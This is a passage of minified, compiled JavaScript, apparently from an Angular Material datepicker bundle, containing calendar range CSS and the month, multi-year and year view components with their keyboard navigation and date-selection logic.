body-comparison-start:not(.mat-calendar-body-comparison-bridge-start)::before,.mat-calendar-body-comparison-start::after,.mat-calendar-body-preview-start .mat-calendar-body-cell-preview{left:5%;width:95%;border-top-left-radius:999px;border-bottom-left-radius:999px}[dir=rtl] .mat-calendar-body-range-start:not(.mat-calendar-body-in-comparison-range)::before,[dir=rtl] .mat-calendar-body-range-start::after,[dir=rtl] .mat-calendar-body-comparison-start:not(.mat-calendar-body-comparison-bridge-start)::before,[dir=rtl] .mat-calendar-body-comparison-start::after,[dir=rtl] .mat-calendar-body-preview-start .mat-calendar-body-cell-preview{left:0;border-radius:0;border-top-right-radius:999px;border-bottom-right-radius:999px}.mat-calendar-body-range-end:not(.mat-calendar-body-in-comparison-range)::before,.mat-calendar-body-range-end::after,.mat-calendar-body-comparison-end:not(.mat-calendar-body-comparison-bridge-end)::before,.mat-calendar-body-comparison-end::after,.mat-calendar-body-preview-end .mat-calendar-body-cell-preview{width:95%;border-top-right-radius:999px;border-bottom-right-radius:999px}[dir=rtl] .mat-calendar-body-range-end:not(.mat-calendar-body-in-comparison-range)::before,[dir=rtl] .mat-calendar-body-range-end::after,[dir=rtl] .mat-calendar-body-comparison-end:not(.mat-calendar-body-comparison-bridge-end)::before,[dir=rtl] .mat-calendar-body-comparison-end::after,[dir=rtl] .mat-calendar-body-preview-end .mat-calendar-body-cell-preview{left:5%;border-radius:0;border-top-left-radius:999px;border-bottom-left-radius:999px}[dir=rtl] .mat-calendar-body-comparison-bridge-start.mat-calendar-body-range-end::after,[dir=rtl] .mat-calendar-body-comparison-bridge-end.mat-calendar-body-range-start::after{width:95%;border-top-right-radius:999px;border-bottom-right-radius:999px}.mat-calendar-body-comparison-start.mat-calendar-body-range-end::after,[dir=rtl] .mat-calendar-body-comparison-start.mat-calendar-body-range-end::after,.mat-calendar-body-comparison-end.mat-calendar-body-range-start::after,[dir=rtl] .mat-calendar-body-comparison-end.mat-calendar-body-range-start::after{width:90%}.mat-calendar-body-in-preview .mat-calendar-body-cell-preview{border-top:dashed 1px;border-bottom:dashed 1px}.mat-calendar-body-preview-start .mat-calendar-body-cell-preview{border-left:dashed 1px}[dir=rtl] .mat-calendar-body-preview-start .mat-calendar-body-cell-preview{border-left:0;border-right:dashed 1px}.mat-calendar-body-preview-end .mat-calendar-body-cell-preview{border-right:dashed 1px}[dir=rtl] .mat-calendar-body-preview-end .mat-calendar-body-cell-preview{border-right:0;border-left:dashed 1px}.mat-calendar-body-disabled{cursor:default}.cdk-high-contrast-active .mat-calendar-body-disabled{opacity:.5}.mat-calendar-body-cell-content{top:5%;left:5%;z-index:1;display:flex;align-items:center;justify-content:center;box-sizing:border-box;width:90%;height:90%;line-height:1;border-width:1px;border-style:solid;border-radius:999px}.mat-calendar-body-cell-content.mat-focus-indicator{position:absolute}.cdk-high-contrast-active .mat-calendar-body-cell-content{border:none}.cdk-high-contrast-active .mat-datepicker-popup:not(:empty),.cdk-high-contrast-active .mat-calendar-body-cell:not(.mat-calendar-body-in-range) .mat-calendar-body-selected{outline:solid 1px}.cdk-high-contrast-active .mat-calendar-body-today{outline:dotted 1px}.cdk-high-contrast-active .mat-calendar-body-cell::before,.cdk-high-contrast-active .mat-calendar-body-cell::after,.cdk-high-contrast-active .mat-calendar-body-selected{background:none}.cdk-high-contrast-active .mat-calendar-body-in-range::before,.cdk-high-contrast-active .mat-calendar-body-comparison-bridge-start::before,.cdk-high-contrast-active .mat-calendar-body-comparison-bridge-end::before{border-top:solid 1px;border-bottom:solid 1px}.cdk-high-contrast-active .mat-calendar-body-range-start::before{border-left:solid 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-range-start::before{border-left:0;border-right:solid 1px}.cdk-high-contrast-active .mat-calendar-body-range-end::before{border-right:solid 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-range-end::before{border-right:0;border-left:solid 1px}.cdk-high-contrast-active .mat-calendar-body-in-comparison-range::before{border-top:dashed 1px;border-bottom:dashed 1px}.cdk-high-contrast-active .mat-calendar-body-comparison-start::before{border-left:dashed 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-comparison-start::before{border-left:0;border-right:dashed 1px}.cdk-high-contrast-active .mat-calendar-body-comparison-end::before{border-right:dashed 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-comparison-end::before{border-right:0;border-left:dashed 1px}[dir=rtl] .mat-calendar-body-label{text-align:right}\'],encapsulation:2,changeDetection:0}),O})();function R(O){return"TD"===O.nodeName}function X(O,de,h){return null!==h&&de!==h&&O<h&&O===de}function _e(O,de,h){return null!==de&&de!==h&&O>=de&&O===h}function ct(O,de,h,$){return $&&null!==de&&null!==h&&de!==h&&O>=de&&O<=h}class Je{constructor(de,h){this.start=de,this.end=h}}let Et=(()=>{class O{constructor(h,$){this.selection=h,this._adapter=$,this._selectionChanged=new S.xQ,this.selectionChanged=this._selectionChanged,this.selection=h}updateSelection(h,$){const ke=this.selection;this.selection=h,this._selectionChanged.next({selection:h,source:$,oldValue:ke})}ngOnDestroy(){this._selectionChanged.complete()}_isValidDateInstance(h){return this._adapter.isDateInstance(h)&&this._adapter.isValid(h)}}return O.\\u0275fac=function(h){c.$Z()},O.\\u0275prov=c.Yz7({token:O,factory:O.\\u0275fac}),O})(),Dt=(()=>{class O extends Et{constructor(h){super(null,h)}add(h){super.updateSelection(h,this)}isValid(){return null!=this.selection&&this._isValidDateInstance(this.selection)}isComplete(){return null!=this.selection}clone(){const h=new O(this._adapter);return h.updateSelection(this.selection,this),h}}return O.\\u0275fac=function(h){return new(h||O)(c.LFG(_._A))},O.\\u0275prov=c.Yz7({token:O,factory:O.\\u0275fac}),O})();const te={provide:Et,deps:[[new c.FiY,new c.tp0,Et],_._A],useFactory:function Ie(O,de){return O||new Dt(de)}},b=new c.OlP("MAT_DATE_RANGE_SELECTION_STRATEGY");let wt=(()=>{class O{constructor(h,$,ke,lt,Wt){this._changeDetectorRef=h,this._dateFormats=$,this._dateAdapter=ke,this._dir=lt,this._rangeStrategy=Wt,this._rerenderSubscription=g.w.EMPTY,this.selectedChange=new c.vpe,this._userSelection=new c.vpe,this.activeDateChange=new c.vpe,this._activeDate=this._dateAdapter.today()}get activeDate(){return this._activeDate}set activeDate(h){const $=this._activeDate,ke=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))||this._dateAdapter.today();this._activeDate=this._dateAdapter.clampDate(ke,this.minDate,this.maxDate),this._hasSameMonthAndYear($,this._activeDate)||this._init()}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h)),this._setRanges(this._selected)}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}ngAfterContentInit(){this._rerenderSubscription=this._dateAdapter.localeChanges.pipe((0,G.O)(null)).subscribe(()=>this._init())}ngOnChanges(h){const $=h.comparisonStart||h.comparisonEnd;$&&!$.firstChange&&this._setRanges(this.selected)}ngOnDestroy(){this._rerenderSubscription.unsubscribe()}_dateSelected(h){const $=h.value,ke=this._getDateFromDayOfMonth($);let lt,Wt;this._selected instanceof Je?(lt=this._getDateInCurrentMonth(this._selected.start),Wt=this._getDateInCurrentMonth(this._selected.end)):lt=Wt=this._getDateInCurrentMonth(this._selected),(lt!==$||Wt!==$)&&this.selectedChange.emit(ke),this._userSelection.emit({value:ke,event:h.event}),this._previewStart=this._previewEnd=null,this._changeDetectorRef.markForCheck()}_updateActiveDate(h){const ke=this._activeDate;this.activeDate=this._getDateFromDayOfMonth(h.value),this._dateAdapter.compareDate(ke,this.activeDate)&&this.activeDateChange.emit(this._activeDate)}_handleCalendarBodyKeydown(h){const $=this._activeDate,ke=this._isRtl();switch(h.keyCode){case H.oh:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,ke?1:-1);break;case H.SV:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,ke?-1:1);break;case H.LH:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,-7);break;case H.JH:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,7);break;case H.Sd:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,1-this._dateAdapter.getDate(this._activeDate));break;case H.uR:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,this._dateAdapter.getNumDaysInMonth(this._activeDate)-this._dateAdapter.getDate(this._activeDate));break;case H.Ku:this.activeDate=h.altKey?this._dateAdapter.addCalendarYears(this._activeDate,-1):this._dateAdapter.addCalendarMonths(this._activeDate,-1);break;case H.VM:this.activeDate=h.altKey?this._dateAdapter.addCalendarYears(this._activeDate,1):this._dateAdapter.addCalendarMonths(this._activeDate,1);break;case H.K5:case H.L_:return this._selectionKeyPressed=!0,void(this._canSelect(this._activeDate)&&h.preventDefault());case H.hY:return void(null!=this._previewEnd&&!(0,H.Vb)(h)&&(this._previewStart=this._previewEnd=null,this.selectedChange.emit(null),this._userSelection.emit({value:null,event:h}),h.preventDefault(),h.stopPropagation()));default:return}this._dateAdapter.compareDate($,this.activeDate)&&(this.activeDateChange.emit(this.activeDate),this._focusActiveCellAfterViewChecked()),h.preventDefault()}_handleCalendarBodyKeyup(h){(h.keyCode===H.L_||h.keyCode===H.K5)&&(this._selectionKeyPressed&&this._canSelect(this._activeDate)&&this._dateSelected({value:this._dateAdapter.getDate(this._activeDate),event:h}),this._selectionKeyPressed=!1)}_init(){this._setRanges(this.selected),this._todayDate=this._getCellCompareValue(this._dateAdapter.today()),this._monthLabel=this._dateFormats.display.monthLabel?this._dateAdapter.format(this.activeDate,this._dateFormats.display.monthLabel):this._dateAdapter.getMonthNames("short")[this._dateAdapter.getMonth(this.activeDate)].toLocaleUpperCase();let h=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),this._dateAdapter.getMonth(this.activeDate),1);this._firstWeekOffset=(7+this._dateAdapter.getDayOfWeek(h)-this._dateAdapter.getFirstDayOfWeek())%7,this._initWeekdays(),this._createWeekCells(),this._changeDetectorRef.markForCheck()}_focusActiveCell(h){this._matCalendarBody._focusActiveCell(h)}_focusActiveCellAfterViewChecked(){this._matCalendarBody._scheduleFocusActiveCellAfterViewChecked()}_previewChanged({event:h,value:$}){if(this._rangeStrategy){const lt=this._rangeStrategy.createPreview($?$.rawValue:null,this.selected,h);this._previewStart=this._getCellCompareValue(lt.start),this._previewEnd=this._getCellCompareValue(lt.end),this._changeDetectorRef.detectChanges()}}_getDateFromDayOfMonth(h){return this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),this._dateAdapter.getMonth(this.activeDate),h)}_initWeekdays(){const h=this._dateAdapter.getFirstDayOfWeek(),$=this._dateAdapter.getDayOfWeekNames("narrow");let lt=this._dateAdapter.getDayOfWeekNames("long").map((Wt,p1)=>({long:Wt,narrow:$[p1]}));this._weekdays=lt.slice(h).concat(lt.slice(0,h))}_createWeekCells(){const h=this._dateAdapter.getNumDaysInMonth(this.activeDate),$=this._dateAdapter.getDateNames();this._weeks=[[]];for(let ke=0,lt=this._firstWeekOffset;ke<h;ke++,lt++){7==lt&&(this._weeks.push([]),lt=0);const Wt=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),this._dateAdapter.getMonth(this.activeDate),ke+1),p1=this._shouldEnableDate(Wt),w1=this._dateAdapter.format(Wt,this._dateFormats.display.dateA11yLabel),Qt=this.dateClass?this.dateClass(Wt,"month"):void 0;this._weeks[this._weeks.length-1].push(new P(ke+1,$[ke],w1,p1,Qt,this._getCellCompareValue(Wt),Wt))}}_shouldEnableDate(h){return!!h&&(!this.minDate||this._dateAdapter.compareDate(h,this.minDate)>=0)&&(!this.maxDate||this._dateAdapter.compareDate(h,this.maxDate)<=0)&&(!this.dateFilter||this.dateFilter(h))}_getDateInCurrentMonth(h){return h&&this._hasSameMonthAndYear(h,this.activeDate)?this._dateAdapter.getDate(h):null}_hasSameMonthAndYear(h,$){return!(!h||!$||this._dateAdapter.getMonth(h)!=this._dateAdapter.getMonth($)||this._dateAdapter.getYear(h)!=this._dateAdapter.getYear($))}_getCellCompareValue(h){if(h){const $=this._dateAdapter.getYear(h),ke=this._dateAdapter.getMonth(h),lt=this._dateAdapter.getDate(h);return new Date($,ke,lt).getTime()}return null}_isRtl(){return this._dir&&"rtl"===this._dir.value}_setRanges(h){h instanceof Je?(this._rangeStart=this._getCellCompareValue(h.start),this._rangeEnd=this._getCellCompareValue(h.end),this._isRange=!0):(this._rangeStart=this._rangeEnd=this._getCellCompareValue(h),this._isRange=!1),this._comparisonRangeStart=this._getCellCompareValue(this.comparisonStart),this._comparisonRangeEnd=this._getCellCompareValue(this.comparisonEnd)}_canSelect(h){return!this.dateFilter||this.dateFilter(h)}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.sBO),c.Y36(_.sG,8),c.Y36(_._A,8),c.Y36(j.Is,8),c.Y36(b,8))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-month-view"]],viewQuery:function(h,$){if(1&h&&c.Gf(w,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._matCalendarBody=ke.first)}},inputs:{activeDate:"activeDate",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass",comparisonStart:"comparisonStart",comparisonEnd:"comparisonEnd"},outputs:{selectedChange:"selectedChange",_userSelection:"_userSelection",activeDateChange:"activeDateChange"},exportAs:["matMonthView"],features:[c.TTD],decls:7,vars:13,consts:[["role","grid",1,"mat-calendar-table"],[1,"mat-calendar-table-header"],["scope","col",4,"ngFor","ngForOf"],["aria-hidden","true","colspan","7",1,"mat-calendar-table-header-divider"],["mat-calendar-body","",3,"label","rows","todayValue","startValue","endValue","comparisonStart","comparisonEnd","previewStart","previewEnd","isRange","labelMinRequiredCells","activeCell","selectedValueChange","activeDateChange","previewChange","keyup","keydown"],["scope","col"],[1,"cdk-visually-hidden"],["aria-hidden","true"]],template:function(h,$){1&h&&(c.TgZ(0,"table",0)(1,"thead",1)(2,"tr"),c.YNc(3,le,5,2,"th",2),c.qZA(),c.TgZ(4,"tr"),c._UZ(5,"th",3),c.qZA()(),c.TgZ(6,"tbody",4),c.NdJ("selectedValueChange",function(lt){return $._dateSelected(lt)})("activeDateChange",function(lt){return $._updateActiveDate(lt)})("previewChange",function(lt){return $._previewChanged(lt)})("keyup",function(lt){return $._handleCalendarBodyKeyup(lt)})("keydown",function(lt){return $._handleCalendarBodyKeydown(lt)}),c.qZA()()),2&h&&(c.xp6(3),c.Q6J("ngForOf",$._weekdays),c.xp6(3),c.Q6J("label",$._monthLabel)("rows",$._weeks)("todayValue",$._todayDate)("startValue",$._rangeStart)("endValue",$._rangeEnd)("comparisonStart",$._comparisonRangeStart)("comparisonEnd",$._comparisonRangeEnd)("previewStart",$._previewStart)("previewEnd",$._previewEnd)("isRange",$._isRange)("labelMinRequiredCells",3)("activeCell",$._dateAdapter.getDate($.activeDate)-1))},dependencies:[u.sg,w],encapsulation:2,changeDetection:0}),O})();const Vt=24;let qt=(()=>{class O{constructor(h,$,ke){this._changeDetectorRef=h,this._dateAdapter=$,this._dir=ke,this._rerenderSubscription=g.w.EMPTY,this.selectedChange=new c.vpe,this.yearSelected=new c.vpe,this.activeDateChange=new c.vpe,this._activeDate=this._dateAdapter.today()}get activeDate(){return this._activeDate}set activeDate(h){let $=this._activeDate;const ke=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))||this._dateAdapter.today();this._activeDate=this._dateAdapter.clampDate(ke,this.minDate,this.maxDate),u1(this._dateAdapter,$,this._activeDate,this.minDate,this.maxDate)||this._init()}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h)),this._setSelectedYear(h)}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}ngAfterContentInit(){this._rerenderSubscription=this._dateAdapter.localeChanges.pipe((0,G.O)(null)).subscribe(()=>this._init())}ngOnDestroy(){this._rerenderSubscription.unsubscribe()}_init(){this._todayYear=this._dateAdapter.getYear(this._dateAdapter.today());const $=this._dateAdapter.getYear(this._activeDate)-c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate);this._years=[];for(let ke=0,lt=[];ke<Vt;ke++)lt.push($+ke),4==lt.length&&(this._years.push(lt.map(Wt=>this._createCellForYear(Wt))),lt=[]);this._changeDetectorRef.markForCheck()}_yearSelected(h){const $=h.value,ke=this._dateAdapter.createDate($,0,1),lt=this._getDateFromYear($);this.yearSelected.emit(ke),this.selectedChange.emit(lt)}_updateActiveDate(h){const ke=this._activeDate;this.activeDate=this._getDateFromYear(h.value),this._dateAdapter.compareDate(ke,this.activeDate)&&this.activeDateChange.emit(this.activeDate)}_handleCalendarBodyKeydown(h){const $=this._activeDate,ke=this._isRtl();switch(h.keyCode){case H.oh:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,ke?1:-1);break;case H.SV:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,ke?-1:1);break;case H.LH:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,-4);break;case H.JH:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,4);break;case H.Sd:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,-c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate));break;case H.uR:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,Vt-c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate)-1);break;case H.Ku:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?10*-Vt:-Vt);break;case H.VM:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?10*Vt:Vt);break;case H.K5:case H.L_:this._selectionKeyPressed=!0;break;default:return}this._dateAdapter.compareDate($,this.activeDate)&&this.activeDateChange.emit(this.activeDate),this._focusActiveCellAfterViewChecked(),h.preventDefault()}_handleCalendarBodyKeyup(h){(h.keyCode===H.L_||h.keyCode===H.K5)&&(this._selectionKeyPressed&&this._yearSelected({value:this._dateAdapter.getYear(this._activeDate),event:h}),this._selectionKeyPressed=!1)}_getActiveCell(){return c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate)}_focusActiveCell(){this._matCalendarBody._focusActiveCell()}_focusActiveCellAfterViewChecked(){this._matCalendarBody._scheduleFocusActiveCellAfterViewChecked()}_getDateFromYear(h){const $=this._dateAdapter.getMonth(this.activeDate),ke=this._dateAdapter.getNumDaysInMonth(this._dateAdapter.createDate(h,$,1));return this._dateAdapter.createDate(h,$,Math.min(this._dateAdapter.getDate(this.activeDate),ke))}_createCellForYear(h){const $=this._dateAdapter.createDate(h,0,1),ke=this._dateAdapter.getYearName($),lt=this.dateClass?this.dateClass($,"multi-year"):void 0;return new P(h,ke,ke,this._shouldEnableYear(h),lt)}_shouldEnableYear(h){if(null==h||this.maxDate&&h>this._dateAdapter.getYear(this.maxDate)||this.minDate&&h<this._dateAdapter.getYear(this.minDate))return!1;if(!this.dateFilter)return!0;for(let ke=this._dateAdapter.createDate(h,0,1);this._dateAdapter.getYear(ke)==h;ke=this._dateAdapter.addCalendarDays(ke,1))if(this.dateFilter(ke))return!0;return!1}_isRtl(){return this._dir&&"rtl"===this._dir.value}_setSelectedYear(h){if(this._selectedYear=null,h instanceof Je){const $=h.start||h.end;$&&(this._selectedYear=this._dateAdapter.getYear($))}else h&&(this._selectedYear=this._dateAdapter.getYear(h))}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.sBO),c.Y36(_._A,8),c.Y36(j.Is,8))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-multi-year-view"]],viewQuery:function(h,$){if(1&h&&c.Gf(w,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._matCalendarBody=ke.first)}},inputs:{activeDate:"activeDate",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass"},outputs:{selectedChange:"selectedChange",yearSelected:"yearSelected",activeDateChange:"activeDateChange"},exportAs:["matMultiYearView"],decls:5,vars:7,consts:[["role","grid",1,"mat-calendar-table"],["aria-hidden","true",1,"mat-calendar-table-header"],["colspan","4",1,"mat-calendar-table-header-divider"],["mat-calendar-body","",3,"rows","todayValue","startValue","endValue","numCols","cellAspectRatio","activeCell","selectedValueChange","activeDateChange","keyup","keydown"]],template:function(h,$){1&h&&(c.TgZ(0,"table",0)(1,"thead",1)(2,"tr"),c._UZ(3,"th",2),c.qZA()(),c.TgZ(4,"tbody",3),c.NdJ("selectedValueChange",function(lt){return $._yearSelected(lt)})("activeDateChange",function(lt){return $._updateActiveDate(lt)})("keyup",function(lt){return $._handleCalendarBodyKeyup(lt)})("keydown",function(lt){return $._handleCalendarBodyKeydown(lt)}),c.qZA()()),2&h&&(c.xp6(4),c.Q6J("rows",$._years)("todayValue",$._todayYear)("startValue",$._selectedYear)("endValue",$._selectedYear)("numCols",4)("cellAspectRatio",4/7)("activeCell",$._getActiveCell()))},dependencies:[w],encapsulation:2,changeDetection:0}),O})();function u1(O,de,h,$,ke){const lt=O.getYear(de),Wt=O.getYear(h),p1=It(O,$,ke);return Math.floor((lt-p1)/Vt)===Math.floor((Wt-p1)/Vt)}function c1(O,de,h,$){return function _t(O,de){return(O%de+de)%de}(O.getYear(de)-It(O,h,$),Vt)}function It(O,de,h){let $=0;return h?$=O.getYear(h)-Vt+1:de&&($=O.getYear(de)),$}let kt=(()=>{class O{constructor(h,$,ke,lt){this._changeDetectorRef=h,this._dateFormats=$,this._dateAdapter=ke,this._dir=lt,this._rerenderSubscription=g.w.EMPTY,this.selectedChange=new c.vpe,this.monthSelected=new c.vpe,this.activeDateChange=new c.vpe,this._activeDate=this._dateAdapter.today()}get activeDate(){return this._activeDate}set activeDate(h){let $=this._activeDate;const ke=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))||this._dateAdapter.today();this._activeDate=this._dateAdapter.clampDate(ke,this.minDate,this.maxDate),this._dateAdapter.getYear($)!==this._dateAdapter.getYear(this._activeDate)&&this._init()}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h)),this._setSelectedMonth(h)}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}ngAfterContentInit(){this._rerenderSubscription=this._dateAdapter.localeChanges.pipe((0,G.O)(null)).subscribe(()=>this._init())}ngOnDestroy(){this._rerenderSubscription.unsubscribe()}_monthSelected(h){const $=h.value,ke=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),$,1);this.monthSelected.emit(ke);const lt=this._getDateFromMonth($);this.selectedChange.emit(lt)}_updateActiveDate(h){const ke=this._activeDate;this.activeDate=this._getDateFromMonth(h.value),this._dateAdapter.compareDate(ke,this.activeDate)&&this.activeDateChange.emit(this.activeDate)}_handleCalendarBodyKeydown(h){const $=this._activeDate,ke=this._isRtl();switch(h.keyCode){case H.oh:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,ke?1:-1);break;case H.SV:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,ke?-1:1);break;case H.LH:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,-4);break;case H.JH:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,4);break;case H.Sd:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,-this._dateAdapter.getMonth(this._activeDate));break;case H.uR:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,11-this._dateAdapter.getMonth(this._activeDate));break;case H.Ku:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?-10:-1);break;case H.VM:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?10:1);break;case H.K5:case H.L_:this._selectionKeyPressed=!0;break;default:return}this._dateAdapter.compareDate($,this.activeDate)&&(this.activeDateChange.emit(this.activeDate),this._focusActiveCellAfterViewChecked()),h.preventDefault()}_handleCalendarBodyKeyup(h){(h.keyCode===H.L_||h.keyCode===H.K5)&&(this._selectionKeyPressed&&this._monthSelected({value:this._dateAdapter.getMonth(this._activeDate),event:h}),this._selectionKeyPressed=!1)}_init(){this._setSelectedMonth(this.selected),this._todayMonth=this._getMonthInCurrentYear(this._dateAdapter.today()),this._yearLabel=this._dateAdapter.getYearName(this.activeDate);let h=this._dateAdapter.getMonthNames("short");this._months=[[0,1,2,3],[4,5,6,7],[8,9,10,11]].map($=>$.map(ke=>this._createCellForMonth(ke,h[ke]))),this._changeDetectorRef.markForCheck()}_focusActiveCell(){this._matCalendarBody._focusActiveCell()}_focusActiveCellAfterViewChecked(){this._matCalendarBody._scheduleFocusActiveCellAfterViewChecked()}_getMonthInCurrentYear(h){return h&&this._dateAdapter.getYear(h)==this._dateAdapter.getYear(this.activeDate)?this._dateAdapter.getMonth(h):null}_getDateFromMonth(h){const $=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),h,1),ke=this._dateAdapter.getNumDaysInMonth($);return this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),h,Math.min(this._dateAdapter.getDate(this.activeDate),ke))}_createCellForMonth(h,$){const ke=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),h,1),lt=this._dateAdapter.format(ke,this._dateFormats.display.monthYearA11yLabel),Wt=this.dateClass?this.dateClass(ke,"year"):void 0;return new P(h,$.toLocaleUpperCase(),lt,this._shouldEnableMonth(h),Wt)}_shouldEnableMonth(h){const $=this._dateAdapter.getYear(this.activeDate);if(null==h||this._isYearAndMonthAfterMaxDate($,h)||this._isYearAndMonthBeforeMinDate($,h))return!1;if(!this.dateFilter)return!0;for(let lt=this._dateAdapter.createDate($,h,1);this._dateAdapter.getMonth(lt)==h;lt=this._dateAdapter.addCalendarDays(lt,1))if(this.dateFilter(lt))return!0;return!1}_isYearAndMonthAfterMaxDate(h,$){if(this.maxDate){const ke=this._dateAdapter.getYear(this.maxDate),lt=this._dateAdapter.getMonth(this.maxDate);return h>ke||h===ke&&$>lt}return!1}_isYearAndMonthBeforeMinDate(h,$){if(this.minDate){const ke=this._dateAdapter.getYear(this.minDate),lt=this._dateAdapter.getMonth(this.minDate);return h<ke||h===ke&&$<lt}return!1}_isRtl(){return this._dir&&"rtl"===this._dir.value}_setSelectedMonth(h){this._selectedMonth=h instanceof Je?this._getMonthInCurrentYear(h.start)||this._getMonthInCurrentYear(h.end):this._getMonthInCurrentYear(h)}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.sBO),c.Y36(_.sG,8),c.Y36(_._A,8),c.Y36(j.Is,8))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-year-view"]],viewQuery:function(h,$){if(1&h&&c.Gf(w,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._matCalendarBody=ke.first)}},inputs:{activeDate:"activeDate",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass"},outputs:{selectedChange:"selectedChange",monthSelected:"monthSelected",activeDateChange:"activeDateChange"},exportAs:["matYearView"],decls:5,vars:9,consts:[["role","grid",1,"mat-calendar-table"],["aria-hidden","true",1,"mat-calendar-table-header"],["colspan","4",1,"mat-calendar-table-header-divider"],["mat-calendar-body","",3,"label","rows","todayValue","startValue","endValue","labelMinRequiredCells","numCols","cellAspectRatio","activeCell","selectedValueChange","activeDateChange","keyup","keydown"]],template:function(h,$){1&h&&(c.TgZ(0,"table",0)(1,"thead",1)(2,"tr"),c._UZ(3,"th",2),c.qZA()(),c.TgZ(4,"tbody",3),c.NdJ("selectedValueChange",function(lt){return $._monthSelected(lt)})("activeDateChange",function(lt){return $._updateActiveDate(lt)})("keyup",function(lt){return $._handleCalendarBodyKeyup(lt)})("keydown",function(lt){return $._handleCalendarBodyKeydown(lt)}),c.qZA()()),2&h&&(c.xp6(4),c.Q6J("label",$._yearLabel)("rows",$._months)("todayValue",$._todayMonth)("startValue",$._selectedMonth)("endValue",$._selectedMonth)("labelMinRequiredCells",2)("numCols",4)("cellAspectRatio",4/7)("activeCell",$._dateAdapter.getMonth($.activeDate)))},dependencies:[w],encapsulation:2,changeDetection:0}),O})(),Fe=0,be=(()=>{class O{constructor(h,$,ke,lt,Wt){this._intl=h,this.calendar=$,this._dateAdapter=ke,this._dateFormats=lt,this._buttonDescriptionId="mat-calendar-button-"+Fe++,this.calendar.stateChanges.subscribe(()=>Wt.markForCheck())}get periodButtonText(){if("month"==this.calendar.currentView)return this._dateAdapter.format(this.calendar.activeDate,this._dateFormats.display.monthYearLabel).toLocaleUpperCase();if("year"==this.calendar.currentView)return this._dateAdapter.getYearName(this.calendar.activeDate);const $=this._dateAdapter.getYear(this.calendar.activeDate)-c1(this._dateAdapter,this.calendar.activeDate,this.calendar.minDate,this.calendar.maxDate),ke=$+Vt-1,lt=this._dateAdapter.getYearName(this._dateAdapter.createDate($,0,1)),Wt=this._dateAdapter.getYearName(this._dateAdapter.createDate(ke,0,1));return this._intl.formatYearRange(lt,Wt)}get periodButtonLabel(){return"month"==this.calendar.currentView?this._intl.switchToMultiYearViewLabel:this._intl.switchToMonthViewLabel}get 